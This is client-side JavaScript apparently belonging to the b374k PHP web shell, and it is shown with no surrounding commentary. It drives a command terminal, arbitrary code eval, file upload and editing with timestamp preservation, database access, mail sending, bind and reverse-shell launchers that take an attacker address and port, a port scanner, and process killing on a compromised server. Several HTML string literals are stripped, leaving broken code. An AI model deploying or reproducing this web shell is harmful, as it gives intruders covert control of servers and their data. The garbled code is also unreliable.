function ul_start(formData, ulType, i){ loading_start(); $.ajax({ url: targeturl, type: 'POST', data: formData, cache: false, contentType: false, processData: false, xhr: function(){ myXhr = $.ajaxSettings.xhr(); if(myXhr.upload){ myXhr.upload.addEventListener('progress', function(e){ percent = Math.floor(e.loaded / e.total * 100); $('.ulProgress'+ulType+i).html('( '+ percent +'% )'); }, false); } return myXhr; }, success: function(res){ if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){ res = 'error'; }

if(res=='error'){ $('.ulProgress'+ulType+i).html('( failed )'); } else{ $('.ulRes'+ulType+i).html(res); } loading_stop(); }, error: function(){ loading_stop(); $('.ulProgress'+ulType+i).html('( failed )'); $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i); $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i); } }); }

function ul_go(ulType){ ulFile = (ulType=='comp')? $('.ulFileComp'):$('.ulFileUrl'); ulResult = (ulType=='comp')? $('.ulCompResult'):$('.ulUrlResult'); ulResult.html('');

ulFile.each(function(i){ if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){ file = (ulType=='comp')? this.files[0]: this.value; filename = (ulType=='comp')? file.name: file.substring(file.lastIndexOf('/')+1);

ulSaveTo = (ulType=='comp')? $('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value; ulFilename = (ulType=='comp')? $('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;

var formData = new FormData(); formData.append('ulFile', file); formData.append('ulSaveTo', ulSaveTo); formData.append('ulFilename', ulFilename); formData.append('ulType', ulType);

entry = "

> "+filename+" 

"; ulResult.append(entry);

check = true; if(ulType=='comp'){ check = (file.size<=0); } else check = (file==""); if(check){ $('.ulProgress'+ulType+i).html('( failed )'); $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i); $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i); } else{ ul_start(formData, ulType, i); } } }); } function trap_ctrl_enter(el, e, callback){ if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ if(callback!=null) window[callback](); } fix_tabchar(el, e); } function edit_save_raw(){ edit_save('edit'); } function edit_save_hex(){ edit_save('hex'); } function edit_save(editType){ editFilename = $('#editFilename').val(); editInput = $('#editInput').val(); editSuccess = false; preserveTimestamp = 'false'; if($('.cBox').hasClass('cBoxSelected')) preserveTimestamp = 'true'; send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp}, function(res){ if(res!='error'){ editSuccess = 'success'; view(editFilename, editType, preserveTimestamp); } else editSuccess = 'error'; } ); } function mass_act(type){ buffer = get_all_cbox_selected('xplTable', 'xpl_href'); if((type=='cut')||(type=='copy')){ localStorage.setItem('bufferLength', buffer.length); localStorage.setItem('bufferAction', type); $.each(buffer,function(i,v){ localStorage.setItem('buffer_'+i, v); }); } else if(type=='paste'){ bufferLength = localStorage.getItem('bufferLength'); bufferAction = localStorage.getItem('bufferAction'); if(bufferLength>0){ massBuffer = ''; for(var i=0;i "+title+" here "+title+"

"; show_box(ucfirst(title), content); }

} else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){ if(type=='extract (tar)') arcType = 'untar'; else if(type=='extract (tar.gz)') arcType = 'untargz'; else if(type=='extract (zip)') arcType = 'unzip';

if(buffer.length>0){ massBuffer = ''; $.each(buffer,function(i,v){ massBuffer += v + '\n'; }); massBuffer = $.trim(massBuffer); title = type;

content = "

Extract to
extract

"; show_box(ucfirst(title), content); } } else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){ date = new Date(); rand = date.getTime(); if(type=='compress (tar)'){ arcType = 'tar'; arcFilename = rand+'.tar'; } else if(type=='compress (tar.gz)'){ arcType = 'targz'; arcFilename = rand+'.tar.gz'; } else if(type=='compress (zip)'){ arcType = 'zip'; arcFilename = rand+'.zip'; }

if(buffer.length>0){ massBuffer = ''; $.each(buffer,function(i,v){ massBuffer += v + '\n'; }); massBuffer = $.trim(massBuffer); title = type;

content = "

Archive
compress

"; show_box(ucfirst(title), content); } } else if(type!=''){ if(buffer.length>0){ massBuffer = ''; $.each(buffer,function(i,v){ massBuffer += v + '\n'; }); massBuffer = $.trim(massBuffer); title = type; line = ''; if(type=='chmod') line = " chmod

"; else if(type=='chown') line = " chown

"; else if(type=='touch'){ var now = new Date(); line = " touch

"; }

content = "

"+line+"

"+title+"

"; show_box(ucfirst(title), content); } }

$('.cBoxSelected').removeClass('cBoxSelected'); xpl_update_status(); }

function mass_act_go_tar(){ mass_act_go('tar'); }

function mass_act_go_targz(){ mass_act_go('targz'); }

function mass_act_go_zip(){ mass_act_go('zip'); }

function mass_act_go_untar(){ mass_act_go('untar'); }

function mass_act_go_untargz(){ mass_act_go('untargz'); }

function mass_act_go_unzip(){ mass_act_go('unzip'); }

function mass_act_go_paste(){ mass_act_go('paste'); }

function mass_act_go_chmod(){ mass_act_go('chmod'); }

function mass_act_go_chown(){ mass_act_go('chown'); }

function mass_act_go_touch(){ mass_act_go('touch'); }

function mass_act_go(massType){ massBuffer = $.trim($('.massBuffer').val()); massPath = get_cwd(); massValue = ''; if(massType=='paste'){ bufferLength = localStorage.getItem('bufferLength'); bufferAction = localStorage.getItem('bufferAction'); if(bufferLength>0){ massBuffer = ''; for(var i=0;i"); $('#form').submit(); $('#form').html(''); hide_box(); });

$('.ul').off('click'); $('.ul').on('click', function(e){ path = xpl_href($(this)); navigate(path, false); path = html_safe(path); ul(path); hide_box(); });

$('.find').off('click'); $('.find').on('click', function(e){ path = xpl_href($(this)); navigate(path, false); path = html_safe(path); find(path); hide_box(); });

$('#massAction').off('click'); $('#massAction').on('change', function(e){ type = $('#massAction').val(); mass_act(type); $('#massAction').val('Action'); });

cbox_bind('xplTable','xpl_update_status'); }

function xpl_href(el){ return el.parent().parent().attr('data-path'); }

function multimedia(path){ var a = $('video').get(0); send_post({multimedia:path}, function(res){ a.src = res; }); hide_box(); }

$('#terminalInput').on('keydown', function(e){ if(e.keyCode==13){ cmd = $('#terminalInput').val(); terminalHistory.push(cmd); terminalHistoryPos = terminalHistory.length; if(cmd=='clear'||cmd=='cls'){ $('#terminalOutput').html(''); } else if((path = cmd.match(/cd(.*)/i)) || (path = cmd.match(/^([a-z]:)$/i))){ path = $.trim(path[1]); navigate(path); } else if(cmd!=''){ send_post({ terminalInput: cmd }, function(res){ cwd = html_safe(get_cwd()); res = ''+cwd+'>'+html_safe(cmd)+ '\n' + res+'\n'; $('#terminalOutput').append(res); bottom = $(document).height()-$(window).height(); $(window).scrollTop(bottom); }); } $('#terminalInput').val(''); setTimeout("$('#terminalInput').focus()",100); } else if(e.keyCode==38){ if(terminalHistoryPos>0){ terminalHistoryPos--; $('#terminalInput').val(terminalHistory[terminalHistoryPos]); if(terminalHistoryPos<0) terminalHistoryPos = 0; } } else if(e.keyCode==40){ if(terminalHistoryPosterminalHistory.length) terminalHistoryPos = terminalHistory.length; } } fix_tabchar(this, e); });

function eval_go(){ evalType = $('#evalType').val(); evalInput = $('#evalInput').val(); evalOptions = $('#evalOptions').val(); evalArguments = $('#evalArguments').val();

if(evalOptions=='Options/Switches') evalOptions = ''; if(evalArguments=='Arguments') evalArguments = '';

if($.trim(evalInput)!=''){ send_post({ evalInput:evalInput, evalType:evalType, evalOptions:evalOptions, evalArguments:evalArguments }, function(res){ if(res!='error'){ splits = res.split('{[|b374k|]}'); if(splits.length==2){ output = splits[0]+"


"+splits[1]; $('#evalOutput').html(output); } else{ $('#evalOutput').html(res); } } } ); } }

function eval_init(){ if((evalSupported = localStorage.getItem('evalSupported'))){ eval_bind(); output("eval : "+evalSupported); evalReady = true; } else{ send_post({evalGetSupported:"evalGetSupported"}, function(res){ evalReady = true; if(res!="error"){ localStorage.setItem('evalSupported', res); evalSupported = res; eval_bind(); output("eval : "+evalSupported); } }); } }

function eval_bind(){ if((evalSupported!=null)&&(evalSupported!='')){ splits = evalSupported.split(","); $.each(splits, function(i, k){ $('#evalType').append(""); }); } $('#evalType').on('change', function(e){ if($('#evalType').val()=='php'){ $('#evalAdditional').hide(); } else{ $('#evalAdditional').show(); } }); $('#evalOptions').on('focus', function(e){ options = $('#evalOptions'); if(options.val()=='Options/Switches') options.val(''); }); $('#evalOptions').on('blur', function(e){ options = $('#evalOptions'); if($.trim(options.val())=='') options.val('Options/Switches'); }); $('#evalArguments').on('focus', function(e){ args = $('#evalArguments'); if(args.val()=='Arguments') args.val(''); }); $('#evalArguments').on('blur', function(e){ args = $('#evalArguments'); if($.trim(args.val())=='') args.val('Arguments'); });

$('#evalInput').on('keydown', function(e){ if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ eval_go(); } fix_tabchar(this, e); }); } Zepto(function($){ $('#decodeStr').on('keydown', function(e){ if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ decode_go(); } fix_tabchar(this, e); }); });

function decode_go(){ decodeStr = $('#decodeStr').val(); send_post({decodeStr:decodeStr}, function(res){ if(res!='error'){ $('#decodeResult').html(''); $('#decodeResult').html(res); } }); }

Zepto(function($){ db_init();

});

var dbSupported = ""; var dbPageLimit = 50;

function db_init(){ if((dbSupported = localStorage.getItem('db_supported'))){ db_bind(); output("db : "+dbSupported); db_add_supported(); } else{ send_post({dbGetSupported:""}, function(res){ if(res!="error"){ localStorage.setItem('dbSupported', res); dbSupported = res; db_bind(); output("db : "+dbSupported); db_add_supported(); } }); } }

function db_add_supported(){ splits = dbSupported.split(","); $.each(splits, function(i, k){ $('#dbType').append(""); }); }

function db_bind(){ $('#dbType').on('change', function(e){ type = $('#dbType').val(); if((type=='odbc')||(type=='pdo')){ $('.dbHostLbl').html('DSN / Connection String'); $('.dbUserRow').show(); $('.dbPassRow').show(); $('.dbPortRow').hide();

} else if((type=='sqlite')||(type=='sqlite3')){ $('.dbHostLbl').html('DB File'); $('.dbUserRow').hide(); $('.dbPassRow').hide(); $('.dbPortRow').hide();

} else{ $('.dbHostLbl').html('Host'); $('.dbUserRow').show(); $('.dbPassRow').show(); $('.dbPortRow').show(); } });

$('#dbQuery').on('focus', function(e){ if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){ $('#dbQuery').val(''); } }); $('#dbQuery').on('blur', function(e){ if($('#dbQuery').val()==''){ $('#dbQuery').val('You can also press ctrl+enter to submit'); } }); $('#dbQuery').on('keydown', function(e){ if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ db_run(); } }); }

function db_nav_bind(){ dbType = $('#dbType').val(); $('.boxNav').off('click'); $('.boxNav').on('click', function(){ $(this).next().toggle(); });

$('.dbTable').off('click'); $('.dbTable').on('click', function(){ type = $('#dbType').val(); table = $(this).html(); db = $(this).parent().parent().parent().prev().html(); db_query_tbl(type, db, table, 0, dbPageLimit); }); }

function db_connect(){ dbType = $('#dbType').val(); dbHost = $('#dbHost').val(); dbUser = $('#dbUser').val(); dbPass = $('#dbPass').val(); dbPort = $('#dbPort').val(); send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort}, function(res){ if(res!='error'){ $('#dbNav').html(res); $('.dbHostRow').hide(); $('.dbUserRow').hide(); $('.dbPassRow').hide(); $('.dbPortRow').hide(); $('.dbConnectRow').hide(); $('.dbQueryRow').show(); $('#dbBottom').show(); db_nav_bind(); } else $('.dbError').html('Unable to connect'); }); }

function db_disconnect(){ $('.dbHostRow').show(); $('.dbUserRow').show(); $('.dbPassRow').show(); $('.dbPortRow').show(); $('.dbConnectRow').show(); $('.dbQueryRow').hide(); $('#dbNav').html(''); $('#dbResult').html(''); $('#dbBottom').hide(); }

function db_run(){ dbType = $('#dbType').val(); dbHost = $('#dbHost').val(); dbUser = $('#dbUser').val(); dbPass = $('#dbPass').val(); dbPort = $('#dbPort').val(); dbQuery = $('#dbQuery').val();

if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){ send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:dbQuery}, function(res){ if(res!='error'){ $('#dbResult').html(res); $('.tblResult').each(function(){ sorttable.k(this); }); } }); } }

function db_query_tbl(type, db, table, start, limit){ dbType = $('#dbType').val(); dbHost = $('#dbHost').val(); dbUser = $('#dbUser').val(); dbPass = $('#dbPass').val(); dbPort = $('#dbPort').val();

send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:'', dbDB:db, dbTable:table, dbStart:start, dbLimit:limit}, function(res){ if(res!='error'){ $('#dbResult').html(res); $('.tblResult').each(function(){ sorttable.k(this); }); } }); }

function db_pagination(type){ db = $('#dbDB').val(); table = $('#dbTable').val(); start = parseInt($('#dbStart').val()); limit = parseInt($('#dbLimit').val()); dbType = $('#dbType').val();

if(type=='next'){ start = start+limit; } else if(type=='prev'){ start = start-limit; if(start<0) start = 0; } db_query_tbl(dbType, db, table, start, limit); } Zepto(function($){ info_init(); }); function info_init(){ if((infoResult = localStorage.getItem('infoResult'))){ $('.infoResult').html(infoResult); } else{ info_refresh(); } } function info_toggle(id){ $('#'+id).toggle(); } function info_refresh(){ send_post({infoRefresh:'infoRefresh'}, function(res){ $('.infoResult').html(res); localStorage.setItem('infoResult', res); }); } Zepto(function($){ }); function mail_send(){ mailFrom = $.trim($('#mailFrom').val()); mailTo = $.trim($('#mailTo').val()); mailSubject = $.trim($('#mailSubject').val()); mailContent = $('#mailContent').val(); mailAttachment = ''; if($('.mailAttachment')){ mailAttachment = $('.mailAttachment').map(function(){ return this.value; }).get().join('{[|b374k|]}'); } send_post({mailFrom:mailFrom, mailTo:mailTo, mailSubject:mailSubject, mailContent:mailContent, mailAttachment:mailAttachment}, function(res){ $('#mailResult').html(res); }); } function mail_attach(){ content = " Local file (-)

"; $('#mailTBody').append(content); }

Zepto(function($){ rs_init();

});

function rs_init(){ if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){ splits = evalSupported.split(","); $.each(splits, function(i, k){ $('.rsType').append(""); }); } else setTimeout('rs_init()', 1000);

$('#packetContent').on('keydown', function(e){ if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ packet_go(); } fix_tabchar(this, e); }); }

function rs_go_bind(){ rs_go('bind'); } function rs_go_back(){ rs_go('back'); }

function rs_go(rsType){ rsArgs = ""; if(rsType=='bind'){ rsPort = parseInt($('#bindPort').val()); rsLang = $('#bindLang').val(); rsArgs = rsPort; rsResult = $('#bindResult'); } else if(rsType=='back'){ rsAddr = $('#backAddr').val(); rsPort = parseInt($('#backPort').val()); rsLang = $('#backLang').val(); rsArgs = rsPort + ' ' + rsAddr; rsResult = $('#backResult'); }

if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){ rsResult.html('Invalid port'); return; }

if(rsArgs!=''){ send_post({ rsLang:rsLang, rsArgs:rsArgs }, function(res){ if(res!='error'){ splits = res.split('{[|b374k|]}'); if(splits.length==2){ output = splits[0]+"


"+splits[1]; rsResult.html(output); } else{ rsResult.html(res); } } } ); } }

function packet_go(){ packetHost = $('#packetHost').val(); packetStartPort = parseInt($('#packetStartPort').val()); packetEndPort = parseInt($('#packetEndPort').val()); packetTimeout = parseInt($('#packetTimeout').val()); packetSTimeout = parseInt($('#packetSTimeout').val()); packetContent = $('#packetContent').val(); packetResult = $('#packetResult'); packetStatus = $('#packetStatus');

if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){ packetResult.html('Invalid start port'); return; } if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){ packetResult.html('Invalid end port'); return; } if((isNaN(packetTimeout))||(packetTimeout<=0)){ packetResult.html('Invalid connection timeout'); return; } if((isNaN(packetSTimeout))||(packetSTimeout<=0)){ packetResult.html('Invalid stream timeout'); return; } if(packetStartPort>packetEndPort){ start = packetEndPort; end = packetStartPort; } else{ start = packetStartPort; end = packetEndPort; }

packetResult.html(''); while(start<=end){ packetPort = start++; packetResult.append("


Host : "+html_safe(packetHost)+":"+packetPort+"

Working... please wait...

"); packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent);

} }

function packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent){ send_post({packetHost:packetHost, packetPort:packetPort, packetEndPort:packetEndPort, packetTimeout:packetTimeout, packetSTimeout:packetSTimeout, packetContent:packetContent}, function(res){ $('#packet'+packetPort).html(res); }, false); }

Zepto(function($){ show_processes(); });

function show_processes(){ send_post({showProcesses:''}, function(res){ if(res!='error'){ $('#processes').html(res); sorttable.k($('#psTable').get(0)); ps_bind(); } }); }

function ps_bind(){ $('.kill').off('click'); $('.kill').on('click', function(e){ kill_pid(ps_get_pid($(this))); });

cbox_bind('psTable','ps_update_status'); }

function ps_get_pid(el){ return el.parent().parent().attr('data-pid'); }

function ps_update_status(){ totalSelected = $('#psTable').find('.cBoxSelected').not('.cBoxAll').length; if(totalSelected==0) $('.psSelected').html(''); else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )'); }

function kill_selected(){ buffer = get_all_cbox_selected('psTable', 'ps_get_pid');

allPid = ''; $.each(buffer,function(i,v){ allPid += v + ' '; }); allPid = $.trim(allPid); kill_pid(allPid); }

function kill_pid(allPid){ title = 'Kill'; content = "

kill

"; show_box(title, content); }

function kill_pid_go(){ allPid = $('.allPid').val(); if($.trim(allPid)!=''){ send_post({allPid:allPid}, function(res){ if(res!='error'){ $('.boxresult').html(res + ' process(es) killed'); } else $('.boxresult').html('Unable to kill process(es)'); show_processes(); }); } }